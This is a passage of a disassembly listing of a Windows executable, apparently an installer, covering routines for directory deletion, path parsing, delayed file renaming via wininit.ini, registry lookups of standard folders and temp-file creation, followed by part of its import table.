0FFFFFFF1h call sub_405CAC push 0 push ebx call sub_406606 jmp short loc_40635D ; --------------------------------------------------------------------------- loc_40634D: ; CODE XREF: sub_406253+E6j inc dword_42F0A8 jmp short loc_40635D ; --------------------------------------------------------------------------- loc_406355: ; CODE XREF: sub_406253+E0j push ebx push 0FFFFFFF2h call sub_405CAC loc_40635D: ; CODE XREF: sub_406253+96j ; sub_406253+9Fj ... lea eax, [ebp+var_144] push eax push esi call ds:dword_407118 ; FindNextFileA test eax, eax jnz loc_4062D9 push esi call ds:dword_40711C ; FindClose loc_40637A: ; CODE XREF: sub_406253+80j cmp [ebp+arg_0], 0 jz short loc_406384 and byte ptr [edi-1], 0 loc_406384: ; CODE XREF: sub_406253+2Fj ; sub_406253+12Bj xor esi, esi cmp [ebp+var_4], esi jz short loc_4063C8 cmp [ebp+arg_0], esi jz short loc_4063C8 push ebx call sub_4063CF push ebx call ds:dword_4070E4 ; RemoveDirectoryA test eax, eax jnz short loc_4063C0 test byte ptr [ebp+arg_4], 4 jz short loc_4063B8 push ebx push 0FFFFFFF1h call sub_405CAC push esi push ebx call sub_406606 jmp short loc_4063C8 ; --------------------------------------------------------------------------- loc_4063B8: ; CODE XREF: sub_406253+152j inc dword_42F0A8 jmp short loc_4063C8 ; --------------------------------------------------------------------------- loc_4063C0: ; CODE XREF: sub_406253+14Cj push ebx push 0FFFFFFE5h call sub_405CAC loc_4063C8: ; CODE XREF: sub_406253+25j ; sub_406253+136j ... pop edi pop esi pop ebx leave retn 8 sub_406253 endp ; =============== S U B R O U T I N E ======================================= sub_4063CF proc near ; CODE XREF: sub_4020E9+3A0p ; sub_4020E9+1305p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4068CF ; lstrlen add eax, esi push eax push esi call ds:dword_4071FC ; CharPrevA cmp byte ptr [eax], 5Ch jz short loc_4063F5 push offset dword_409038 push esi call ds:dword_40708C ; lstrcat loc_4063F5: ; CODE XREF: sub_4063CF+18j mov eax, esi pop esi retn 4 sub_4063CF endp ; =============== S U B R O U T I N E ======================================= sub_4063FB proc near ; CODE XREF: sub_4020E9+1BAp start+BDp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] jmp short loc_40640E ; --------------------------------------------------------------------------- loc_406401: ; CODE XREF: sub_4063FB+17j cmp cl, [esp+arg_4] jz short locret_406414 push eax call ds:dword_40717C ; CharNextA loc_40640E: ; CODE XREF: sub_4063FB+4j mov cl, [eax] test cl, cl jnz short loc_406401 locret_406414: ; CODE XREF: sub_4063FB+Aj retn 8 sub_4063FB endp ; =============== S U B R O U T I N E ======================================= sub_406417 proc near ; CODE XREF: sub_4038D5+61p start+288p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4068CF ; lstrlen add eax, esi loc_406424: ; CODE XREF: sub_406417+1Cj cmp byte ptr [eax], 5Ch jz short loc_406435 push eax push esi call ds:dword_4071FC ; CharPrevA cmp eax, esi ja short loc_406424 loc_406435: ; CODE XREF: sub_406417+10j and byte ptr [eax], 0 pop esi retn 4 sub_406417 endp ; =============== S U B R O U T I N E ======================================= sub_40643C proc near ; CODE XREF: sub_4020E9+37Dp ; sub_4020E9+CC3p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov al, [ecx] or al, 20h cmp word ptr [ecx], 5C5Ch jz short loc_40645D cmp al, 61h jl short loc_406459 cmp al, 7Ah jg short loc_406459 cmp byte ptr [ecx+1], 3Ah jz short loc_40645D loc_406459: ; CODE XREF: sub_40643C+11j ; sub_40643C+15j xor eax, eax jmp short locret_406460 ; --------------------------------------------------------------------------- loc_40645D: ; CODE XREF: sub_40643C+Dj ; sub_40643C+1Bj xor eax, eax inc eax locret_406460: ; CODE XREF: sub_40643C+1Fj retn 4 sub_40643C endp ; =============== S U B R O U T I N E ======================================= sub_406463 proc near ; CODE XREF: sub_4020E9+1A8p ; sub_404E2A+52p ... arg_0 = dword ptr 4 push ebx push esi mov esi, ds:dword_40717C push edi mov edi, [esp+0Ch+arg_0] push edi call esi ; CharNextA mov ebx, eax push ebx call esi ; CharNextA cmp byte ptr [edi], 0 jz short loc_406489 cmp word ptr [ebx], 5C3Ah jnz short loc_406489 push eax call esi ; CharNextA jmp short loc_4064AA ; --------------------------------------------------------------------------- loc_406489: ; CODE XREF: sub_406463+18j ; sub_406463+1Fj cmp word ptr [edi], 5C5Ch jnz short loc_4064A8 push 2 pop esi loc_406493: ; CODE XREF: sub_406463+41j push 5Ch push eax dec esi call sub_4063FB cmp byte ptr [eax], 0 jz short loc_4064A8 inc eax test esi, esi jnz short loc_406493 jmp short loc_4064AA ; --------------------------------------------------------------------------- loc_4064A8: ; CODE XREF: sub_406463+2Bj ; sub_406463+3Cj xor eax, eax loc_4064AA: ; CODE XREF: sub_406463+24j ; sub_406463+43j pop edi pop esi pop ebx retn 4 sub_406463 endp ; =============== S U B R O U T I N E ======================================= sub_4064B0 proc near ; CODE XREF: start+191p sub_4041E1+25p ... arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov esi, offset aC ; "C:\\" push esi call sub_4068C9 ; lstrcpy push esi call sub_406463 test eax, eax jnz short loc_4064CF loc_4064CB: ; CODE XREF: sub_4064B0+2Cj ; sub_4064B0+31j ... xor eax, eax jmp short loc_40651E ; --------------------------------------------------------------------------- loc_4064CF: ; CODE XREF: sub_4064B0+19j test byte ptr dword_42F030, 80h jz short loc_4064E3 mov cl, [eax] test cl, cl jz short loc_4064CB cmp cl, 5Ch jz short loc_4064CB loc_4064E3: ; CODE XREF: sub_4064B0+26j mov edi, eax sub edi, esi jmp short loc_4064FD ; --------------------------------------------------------------------------- loc_4064E9: ; CODE XREF: sub_4064B0+56j call sub_406BAB test eax, eax jz short loc_4064F7 test byte ptr [eax], 10h jz short loc_4064CB loc_4064F7: ; CODE XREF: sub_4064B0+40j push esi call sub_406417 loc_4064FD: ; CODE XREF: sub_4064B0+37j push esi call sub_4068CF ; lstrlen cmp eax, edi push esi jg short loc_4064E9 call sub_4063CF push esi call ds:dword_407074 ; GetFileAttributesA xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx loc_40651E: ; CODE XREF: sub_4064B0+1Dj pop edi pop esi retn 4 sub_4064B0 endp ; =============== S U B R O U T I N E ======================================= sub_406523 proc near ; CODE XREF: sub_406606+126p ; sub_406606+193p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi push [esp+0Ch+arg_4] call sub_4068CF ; lstrlen mov edi, eax mov esi, [esp+0Ch+arg_0] jmp short loc_406559 ; --------------------------------------------------------------------------- loc_406537: ; CODE XREF: sub_406523+3Ej push [esp+0Ch+arg_4] mov bl, [edi+esi] and byte ptr [edi+esi], 0 push esi call ds:dword_407068 ; lstrcmpi test eax, eax mov [edi+esi], bl jz short loc_40656B push esi call ds:dword_40717C ; CharNextA mov esi, eax loc_406559: ; CODE XREF: sub_406523+12j push esi call sub_4068CF ; lstrlen cmp eax, edi jge short loc_406537 xor eax, eax loc_406565: ; CODE XREF: sub_406523+4Aj pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40656B: ; CODE XREF: sub_406523+2Bj mov eax, esi jmp short loc_406565 sub_406523 endp ; =============== S U B R O U T I N E ======================================= sub_40656F proc near ; CODE XREF: sub_401000+2F9p ; sub_401A8F+32p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push esi mov esi, [esp+4+arg_8] test esi, esi jle short loc_40658B mov eax, [esp+4+arg_4] sub eax, ecx loc_406582: ; CODE XREF: sub_40656F+1Aj mov dl, [eax+ecx] mov [ecx], dl inc ecx dec esi jnz short loc_406582 loc_40658B: ; CODE XREF: sub_40656F+Bj pop esi retn 0Ch sub_40656F endp ; =============== S U B R O U T I N E ======================================= sub_40658F proc near ; CODE XREF: sub_4020E9+415p ; sub_4020E9+10F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] call ds:dword_407074 ; GetFileAttributesA mov ecx, eax push 0 inc ecx neg ecx sbb ecx, ecx and ecx, eax push ecx push [esp+8+arg_8] push 0 push 1 push [esp+14h+arg_4] push [esp+18h+arg_0] call ds:dword_4070E8 ; CreateFileA retn 0Ch sub_40658F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4065BE proc near ; CODE XREF: sub_4020E9+35Dp ; sub_403DE8+2Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi push 64h pop edi loc_4065C9: ; CODE XREF: sub_4065BE+39j dec edi mov [ebp+arg_0], 61736Eh call ds:dword_4070A8 ; GetTickCount push 1Ah xor edx, edx pop ecx div ecx push esi lea eax, [ebp+arg_0] push 0 push eax push [ebp+arg_4] add byte ptr [ebp+arg_0+2], dl call ds:dword_4070EC ; GetTempFileNameA test eax, eax jnz short loc_406602 test edi, edi jnz short loc_4065C9 and byte ptr [esi], 0 loc_4065FC: ; CODE XREF: sub_4065BE+46j pop edi pop esi pop ebp retn 8 ; --------------------------------------------------------------------------- loc_406602: ; CODE XREF: sub_4065BE+35j mov eax, esi jmp short loc_4065FC sub_4065BE endp ; =============== S U B R O U T I N E ======================================= sub_406606 proc near ; CODE XREF: sub_4020E9+2B3p ; start+26Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi push edi push offset aKernel32_dll ; "KERNEL32.dll" call ds:dword_407134 ; GetModuleHandleA test eax, eax mov esi, [esp+10h+arg_4] jz short loc_40663E push offset aMovefileexa ; "MoveFileExA" push eax call ds:dword_40713C ; GetProcAddress test eax, eax jz short loc_40663E push 5 push esi push [esp+18h+arg_0] call eax test eax, eax jnz loc_406783 loc_40663E: ; CODE XREF: sub_406606+15j ; sub_406606+25j mov ebx, ds:dword_407080 mov dword_42DBA8, 4C554Eh test esi, esi mov edi, 400h mov ebp, offset dword_42DBA8 jz short loc_406682 push 1 push 0 push esi call sub_40658F push eax call ds:dword_40706C ; CloseHandle push edi push ebp push esi call ebx ; GetShortPathNameA test eax, eax jz loc_406789 cmp eax, edi jg loc_406789 loc_406682: ; CODE XREF: sub_406606+54j mov esi, offset dword_42D7A8 push edi push esi push [esp+18h+arg_0] call ebx ; GetShortPathNameA test eax, eax jz loc_406789 cmp eax, edi jg loc_406789 push esi push ebp push offset aSS_0 ; "%s=%s\r\n" push offset dword_42D3A8 call ds:dword_40721C ; wsprintfA add esp, 10h mov ebp, eax push 3F0h push esi call ds:dword_4070C0 ; GetWindowsDirectoryA push offset aWininit_ini ; "\\wininit.ini" push esi call ds:dword_40708C ; lstrcat xor edi, edi push edi push 8000080h push 4 push edi push edi push 0C0000000h push esi call ds:dword_4070E8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406783 push edi push ebx call ds:dword_4070A0 ; GetFileSize mov esi, eax push edi lea eax, [esi+ebp+0Ah] push eax push edi push 4 push edi push ebx call ds:dword_4070FC ; CreateFileMappingA cmp eax, edi mov [esp+10h+arg_0], eax jz short loc_40676B push edi push edi push edi push 2 push eax call ds:dword_4070F8 ; MapViewOfFile mov edi, eax test edi, edi jz short loc_40675F push offset aRename ; "[Rename]\r\n" push edi call sub_406523 test eax, eax jnz short loc_406790 lea eax, [edi+esi] push offset aRename ; "[Rename]\r\n" push eax call sub_4068C9 ; lstrcpy add esi, 0Ah loc_406746: ; CODE XREF: sub_406606+19Aj mov eax, esi loc_406748: ; CODE XREF: sub_406606+1B5j push ebp add eax, edi push offset dword_42D3A8 push eax call sub_40656F push edi add esi, ebp call ds:dword_4070F4 ; UnmapViewOfFile loc_40675F: ; CODE XREF: sub_406606+11Ej push [esp+10h+arg_0] call ds:dword_40706C ; CloseHandle xor edi, edi loc_40676B: ; CODE XREF: sub_406606+10Cj push edi push edi push esi push ebx call ds:dword_407120 ; SetFilePointer push ebx call ds:dword_4070F0 ; SetEndOfFile push ebx call ds:dword_40706C ; CloseHandle loc_406783: ; CODE XREF: sub_406606+32j ; sub_406606+E5j inc dword_42F0B0 loc_406789: ; CODE XREF: sub_406606+6Ej ; sub_406606+76j ... pop edi pop esi pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_406790: ; CODE XREF: sub_406606+12Dj add eax, 0Ah push offset asc_409328 ; "\n[" push eax call sub_406523 test eax, eax jz short loc_406746 inc eax lea edx, [edi+esi] cmp eax, edx mov ecx, eax jnb short loc_4067B9 loc_4067AC: ; CODE XREF: sub_406606+1B1j mov dl, [ecx] mov [ecx+ebp], dl inc ecx lea edx, [edi+esi] cmp ecx, edx jb short loc_4067AC loc_4067B9: ; CODE XREF: sub_406606+1A4j sub eax, edi jmp short loc_406748 sub_406606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4067BD proc near ; CODE XREF: sub_4041E1+52p ; sub_4068D5+DAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx lea eax, [ebp+arg_4] push esi mov esi, [ebp+arg_C] xor ebx, ebx push eax push 20019h push ebx push [ebp+arg_4] mov [esi], bl push [ebp+arg_0] call ds:dword_407010 ; RegOpenKeyExA test eax, eax jnz short loc_406821 lea eax, [ebp+arg_0] mov [ebp+arg_0], 400h push eax lea eax, [ebp+arg_C] push esi push eax push ebx push [ebp+arg_8] push [ebp+arg_4] call ds:dword_407004 ; RegQueryValueExA test eax, eax jnz short loc_406810 cmp [ebp+arg_C], 1 jz short loc_406812 cmp [ebp+arg_C], 2 jz short loc_406812 loc_406810: ; CODE XREF: sub_4067BD+45j mov [esi], bl loc_406812: ; CODE XREF: sub_4067BD+4Bj ; sub_4067BD+51j push [ebp+arg_4] mov [esi+3FFh], bl call ds:dword_40701C ; RegCloseKey loc_406821: ; CODE XREF: sub_4067BD+24j pop esi pop ebx pop ebp retn 10h sub_4067BD endp ; =============== S U B R O U T I N E ======================================= sub_406827 proc near ; CODE XREF: sub_4020E9+AE8p ; sub_4020E9+B23p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push offset aD ; "%d" push [esp+8+arg_0] call ds:dword_40721C ; wsprintfA add esp, 0Ch retn 8 sub_406827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406840 proc near ; CODE XREF: sub_40201D+39p ; sub_4020E9+9Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi xor edi, edi cmp byte ptr [ecx], 2Dh mov [ebp+var_4], 1 mov al, 0Ah mov bl, 39h jnz short loc_406861 inc ecx or [ebp+var_4], 0FFFFFFFFh loc_406861: ; CODE XREF: sub_406840+1Aj cmp byte ptr [ecx], 30h jnz short loc_406882 inc ecx mov dl, [ecx] cmp dl, 30h jl short loc_406877 cmp dl, 37h jg short loc_406877 mov al, 8 mov bl, 37h loc_406877: ; CODE XREF: sub_406840+2Cj ; sub_406840+31j and dl, 0DFh cmp dl, 58h jnz short loc_406882 mov al, 10h inc ecx loc_406882: ; CODE XREF: sub_406840+24j ; sub_406840+3Dj ... movsx edx, byte ptr [ecx] inc ecx cmp edx, 30h jl short loc_406897 movsx esi, bl cmp edx, esi jg short loc_406897 sub edx, 30h jmp short loc_4068B0 ; --------------------------------------------------------------------------- loc_406897: ; CODE XREF: sub_406840+49j ; sub_406840+50j cmp al, 10h jnz short loc_4068BC mov esi, edx and esi, 0FFFFFFDFh cmp esi, 41h jl short loc_4068BC cmp esi, 46h jg short loc_4068BC and edx, 7 add edx, 9 loc_4068B0: ; CODE XREF: sub_406840+55j movsx esi, al imul esi, edi add esi, edx mov edi, esi jmp short loc_406882 ; --------------------------------------------------------------------------- loc_4068BC: ; CODE XREF: sub_406840+59j ; sub_406840+63j ... mov eax, [ebp+var_4] imul eax, edi pop edi pop esi pop ebx leave retn 4 sub_406840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4068C9 proc near ; CODE XREF: sub_4020E9+202p ; sub_4020E9+248p ... jmp ds:dword_407100 sub_4068C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4068CF proc near ; CODE XREF: sub_4020E9+250p ; sub_4020E9+25Ap ... jmp ds:dword_407104 sub_4068CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068D5 proc near ; CODE XREF: sub_4020E9+449p ; sub_4020E9+504p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] test eax, eax jge short loc_4068F3 mov ecx, dword_42E7FC lea eax, ds:4[eax*4] sub ecx, eax mov eax, [ecx] loc_4068F3: ; CODE XREF: sub_4068D5+Bj mov ecx, dword_42F058 push ebx push esi push edi lea ebx, [eax+ecx] mov ecx, [ebp+arg_0] mov eax, offset aCall_0 ; "Call" sub ecx, eax mov edi, eax cmp ecx, 800h jnb loc_406AE0 mov edi, [ebp+arg_0] and [ebp+arg_0], 0 jmp loc_406AE0 ; --------------------------------------------------------------------------- loc_406923: ; CODE XREF: sub_4068D5+20Fj mov ecx, edi sub ecx, eax cmp ecx, 400h jge loc_406AEA inc ebx cmp dl, 0FCh mov [ebp+arg_4], ebx jbe loc_406ACE movsx eax, byte ptr [ebx+1] movsx ecx, byte ptr [ebx] mov esi, eax mov ebx, ecx and esi, 7Fh and ebx, 7Fh shl esi, 7 or esi, ebx mov ebx, 8000h mov [ebp+var_10], eax or eax, ebx mov [ebp+var_18], ecx push 2 or ecx, ebx mov ebx, [ebp+arg_4] mov [ebp+var_C], eax pop eax add ebx, eax cmp dl, 0FEh mov [ebp+var_14], ecx jnz loc_406A7A and [ebp+var_4], 0 and [ebp+arg_4], 0 and byte ptr [edi], 0 cmp [ebp+var_10], 4 jnz short loc_406997 mov [ebp+var_4], offset aMicrosoftInter ; "\\Microsoft\\Internet Explorer\\Quick Laun"... mov [ebp+arg_4], eax loc_406997: ; CODE XREF: sub_4068D5+B6j mov esi, [ebp+var_18] cmp esi, 2Bh jnz short loc_4069B4 push edi push offset aCommonfilesdir ; "CommonFilesDir" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_4067BD loc_4069B4: ; CODE XREF: sub_4068D5+C8j cmp esi, 26h jnz short loc_4069E2 push edi push offset aProgramfilesdi ; "ProgramFilesDir" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_4067BD cmp byte ptr [edi], 0 jnz loc_406A5D push offset aCProgramFiles ; "C:\\Program Files" push edi call sub_4068C9 ; lstrcpy loc_4069E2: ; CODE XREF: sub_4068D5+E2j cmp esi, 25h jnz short loc_4069F3 push 400h push edi call ds:dword_407108 ; GetSystemDirectoryA loc_4069F3: ; CODE XREF: sub_4068D5+110j cmp esi, 24h jnz short loc_406A04 push 400h push edi call ds:dword_4070C0 ; GetWindowsDirectoryA loc_406A04: ; CODE XREF: sub_4068D5+121j cmp byte ptr [edi], 0 jnz short loc_406A5D cmp dword_42F0A4, 0 mov [ebp+arg_4], 4 jnz short loc_406A22 mov [ebp+arg_4], 2 jmp short loc_406A5D ; --------------------------------------------------------------------------- loc_406A22: ; CODE XREF: sub_4068D5+142j ; sub_4068D5+18Cj dec [ebp+arg_4] lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_4] push [ebp+eax*4+var_18] push dword_42F024 call ds:dword_40716C test eax, eax jnz short loc_406A5A push edi push [ebp+var_8] call ds:dword_407164 push [ebp+var_8] mov esi, eax call sub_40615F test esi, esi jnz short loc_406A63 jmp short loc_406A5D ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_4068D5+169j and byte ptr [edi], 0 loc_406A5D: ; CODE XREF: sub_4068D5+FCj ; sub_4068D5+132j ... cmp [ebp+arg_4], 0 jnz short loc_406A22 loc_406A63: ; CODE XREF: sub_4068D5+181j cmp byte ptr [edi], 0 jz short loc_406AAB cmp [ebp+var_4], 0 jz short loc_406AAB push [ebp+var_4] push edi call ds:dword_40708C ; lstrcat jmp short loc_406AAB ; --------------------------------------------------------------------------- loc_406A7A: ; CODE XREF: sub_4068D5+A1j cmp dl, 0FDh jnz short loc_406ABB cmp esi, 1Bh jnz short loc_406A92 push dword_42F024 push edi call sub_406827 jmp short loc_406AA3 ; --------------------------------------------------------------------------- loc_406A92: ; CODE XREF: sub_4068D5+1ADj mov eax, esi shl eax, 0Ah add eax, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" push eax push edi call sub_4068C9 ; lstrcpy loc_406AA3: ; CODE XREF: sub_4068D5+1BBj add esi, 0FFFFFFEBh cmp esi, 6 jnb short loc_406AB1 loc_406AAB: ; CODE XREF: sub_4068D5+191j ; sub_4068D5+197j ... push edi call sub_406B09 loc_406AB1: ; CODE XREF: sub_4068D5+1D4j ; sub_4068D5+1F7j push edi call sub_4068CF ; lstrlen add edi, eax jmp short loc_406ADB ; --------------------------------------------------------------------------- loc_406ABB: ; CODE XREF: sub_4068D5+1A8j cmp dl, 0FFh jnz short loc_406ADB or eax, 0FFFFFFFFh sub eax, esi push eax push edi call sub_4068D5 jmp short loc_406AB1 ; --------------------------------------------------------------------------- loc_406ACE: ; CODE XREF: sub_4068D5+65j jnz short loc_406AD8 mov al, [ebx] mov [edi], al inc edi inc ebx jmp short loc_406ADB ; --------------------------------------------------------------------------- loc_406AD8: ; CODE XREF: sub_4068D5:loc_406ACEj mov [edi], dl inc edi loc_406ADB: ; CODE XREF: sub_4068D5+1E4j ; sub_4068D5+1E9j ... mov eax, offset aCall_0 ; "Call" loc_406AE0: ; CODE XREF: sub_4068D5+3Cj ; sub_4068D5+49j mov dl, [ebx] test dl, dl jnz loc_406923 loc_406AEA: ; CODE XREF: sub_4068D5+58j and byte ptr [edi], 0 cmp [ebp+arg_0], 0 pop edi pop esi pop ebx jz short locret_406B05 push 400h push eax push [ebp+arg_0] call ds:dword_4070B8 ; lstrcpyn locret_406B05: ; CODE XREF: sub_4068D5+21Fj leave retn 8 sub_4068D5 endp ; =============== S U B R O U T I N E ======================================= sub_406B09 proc near ; CODE XREF: sub_4020E9+3ADp ; sub_4020E9+1317p ... arg_0 = dword ptr 4 push ebx push ebp mov ebp, ds:dword_40717C push esi mov esi, [esp+0Ch+arg_0] push edi jmp short loc_406B1E ; --------------------------------------------------------------------------- loc_406B19: ; CODE XREF: sub_406B09+18j push esi call ebp ; CharNextA mov esi, eax loc_406B1E: ; CODE XREF: sub_406B09+Ej cmp byte ptr [esi], 20h jz short loc_406B19 cmp byte ptr [esi], 5Ch jnz short loc_406B3D cmp byte ptr [esi+1], 5Ch jnz short loc_406B3D cmp byte ptr [esi+2], 3Fh jnz short loc_406B3D cmp byte ptr [esi+3], 5Ch jnz short loc_406B3D add esi, 4 loc_406B3D: ; CODE XREF: sub_406B09+1Dj ; sub_406B09+23j ... cmp byte ptr [esi], 0 jz short loc_406B4E push esi call sub_40643C test eax, eax jz short loc_406B4E inc esi inc esi loc_406B4E: ; CODE XREF: sub_406B09+37j ; sub_406B09+41j mov ebx, esi mov edi, esi jmp short loc_406B7F ; --------------------------------------------------------------------------- loc_406B54: ; CODE XREF: sub_406B09+7Aj cmp al, 1Fh jbe short loc_406B7A push eax push offset a? ; "*?|<>/\":" call sub_4063FB cmp byte ptr [eax], 0 jnz short loc_406B7A push esi call ebp ; CharNextA sub eax, esi push eax push esi push edi call sub_40656F push edi call ebp ; CharNextA mov edi, eax loc_406B7A: ; CODE XREF: sub_406B09+4Dj ; sub_406B09+5Dj push esi call ebp ; CharNextA mov esi, eax loc_406B7F: ; CODE XREF: sub_406B09+49j mov al, [esi] test al, al jnz short loc_406B54 and [edi], al loc_406B87: ; CODE XREF: sub_406B09+97j push edi push ebx call ds:dword_4071FC ; CharPrevA mov edi, eax mov al, [edi] cmp al, 20h jz short loc_406B9B cmp al, 5Ch jnz short loc_406BA2 loc_406B9B: ; CODE XREF: sub_406B09+8Cj and byte ptr [edi], 0 cmp ebx, edi jb short loc_406B87 loc_406BA2: ; CODE XREF: sub_406B09+90j pop edi pop esi mov eax, ebx pop ebp pop ebx retn 4 sub_406B09 endp ; =============== S U B R O U T I N E ======================================= sub_406BAB proc near ; CODE XREF: sub_4020E9+1C9p ; sub_4020E9+221p ... arg_0 = dword ptr 4 push ebx push esi mov esi, ds:dword_40712C push edi push 8001h call esi ; SetErrorMode mov edi, offset dword_42D268 push edi push [esp+10h+arg_0] call ds:dword_407114 ; FindFirstFileA push 0 mov ebx, eax call esi ; SetErrorMode cmp ebx, 0FFFFFFFFh jz short loc_406BE1 push ebx call ds:dword_40711C ; FindClose mov eax, edi jmp short loc_406BE3 ; --------------------------------------------------------------------------- loc_406BE1: ; CODE XREF: sub_406BAB+29j xor eax, eax loc_406BE3: ; CODE XREF: sub_406BAB+34j pop edi pop esi pop ebx retn 4 sub_406BAB endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406BEA proc near ; CODE XREF: sub_4020E9+B9Bp jmp ds:dword_407274 sub_406BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406BF0 proc near ; CODE XREF: sub_4020E9+B82p jmp ds:dword_407270 sub_406BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406BF6 proc near ; CODE XREF: sub_4020E9+B4Ep jmp ds:dword_40726C sub_406BF6 endp _text ends ; Section 2. (virtual address 00007000) ; Virtual size : 000011C0 ( 4544.) ; Section size in file : 000011C0 ( 4544.) ; Offset to raw data for section: 00007000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 407000h dword_407000 dd 77DD7F3Eh ; DATA XREF: sub_4020E9+10BFr dword_407004 dd 77DD23D7h ; DATA XREF: sub_4020E9+103Cr ; sub_4067BD+3Dr dword_407008 dd 77DD59F0h ; DATA XREF: sub_4020E9+FF7r dword_40700C dd 77DD590Bh ; DATA XREF: sub_4020E9+F9Er dword_407010 dd 77DD22EAh ; DATA XREF: sub_403793+1Br ; sub_40381A+1Cr ... dword_407014 dd 77DD839Fh ; DATA XREF: sub_403793+6Cr dword_407018 dd 77DD5C55h ; DATA XREF: sub_4020E9+F37r dword_40701C dd 77DD189Ah ; DATA XREF: sub_4020E9+F40r ; sub_4020E9:loc_4031B5r ... dword_407020 dd 77DD81E3h ; DATA XREF: sub_4020E9+10ACr ; sub_403793+25r align 8 dword_407028 dd 77345219h ; DATA XREF: start+1Ar dword_40702C dd 77346144h ; DATA XREF: sub_40526B+BAr dword_407030 dd 77345719h ; DATA XREF: sub_40526B+624r dword_407034 dd 77345CA4h ; DATA XREF: sub_40526B+A6r dd 0 dword_40703C dd 77C7531Dh ; DATA XREF: sub_4020E9+962r dword_407040 dd 77C72889h ; DATA XREF: sub_401E32+68r ; sub_4020E9+949r ... dword_407044 dd 77C7E6D9h ; DATA XREF: sub_401E32+CFr ; sub_404A36+98r dword_407048 dd 77C7D47Ch ; DATA XREF: sub_401E32+105r ; sub_4020E9+9C3r dword_40704C dd 77C71EFFh ; DATA XREF: sub_401E32+126r ; sub_404A36+51r dword_407050 dd 77C71D83h ; DATA XREF: sub_401E32+130r ; sub_404A36+45r dword_407054 dd 77C71E2Eh ; DATA XREF: sub_404A36+74r dword_407058 dd 77C71BB0h ; DATA XREF: sub_401E32+139r align 10h dword_407060 dd 77E668D9h ; DATA XREF: sub_4020E9:loc_402738r dword_407064 dd 77E7AC5Eh ; DATA XREF: sub_4020E9+63Er dword_407068 dd 77E76A2Eh ; DATA XREF: sub_4020E9+617r ; start+24Dr ... dword_40706C dd 77E77963h ; DATA XREF: sub_4020E9+4EEr ; sub_4020E9:loc_402BE7r ... dword_407070 dd 77E7011Ah ; DATA XREF: sub_4020E9+4E5r dword_407074 dd 77E74CABh ; DATA XREF: sub_4020E9+3F4r ; sub_4041E1+92r ... dword_407078 dd 77E71702h ; DATA XREF: sub_4020E9+3D1r dword_40707C dd 77E6CBF9h ; DATA XREF: sub_4020E9+338r dword_407080 dd 77E6C10Bh ; DATA XREF: sub_4020E9+319r ; sub_406606:loc_40663Er dword_407084 dd 77E80357h ; DATA XREF: sub_4020E9+2D4r dword_407088 dd 77E71AFEh ; DATA XREF: sub_4020E9+283r dword_40708C dd 77E74155h ; DATA XREF: sub_4020E9+269r ; sub_4020E9+3A6r ... dword_407090 dd 77E705C5h ; DATA XREF: sub_4020E9+208r dword_407094 dd 77E6808Fh ; DATA XREF: sub_4020E9+1D4r ; sub_403DE8+21r dword_407098 dd 77E70396h ; DATA XREF: sub_4020E9+18Br ; sub_4020E9+3FEr ... dword_40709C dd 77E61BE6h ; DATA XREF: sub_4020E9+F5r dword_4070A0 dd 77E793EFh ; DATA XREF: sub_4038D5+69r ; sub_406606+EDr dword_4070A4 dd 77E7A099h ; DATA XREF: sub_4038D5+33r start+23Br dword_4070A8 dd 77E7751Ah ; DATA XREF: sub_4038D5+Er ; sub_4038D5+140r ... dword_4070AC dd 77E79C90h ; DATA XREF: start+338r dword_4070B0 dd 77E6BD13h ; DATA XREF: start+25Fr dword_4070B4 dd 77E75CB5h ; DATA XREF: start+1EAr start+39Ar dword_4070B8 dd 77E73BEFh ; DATA 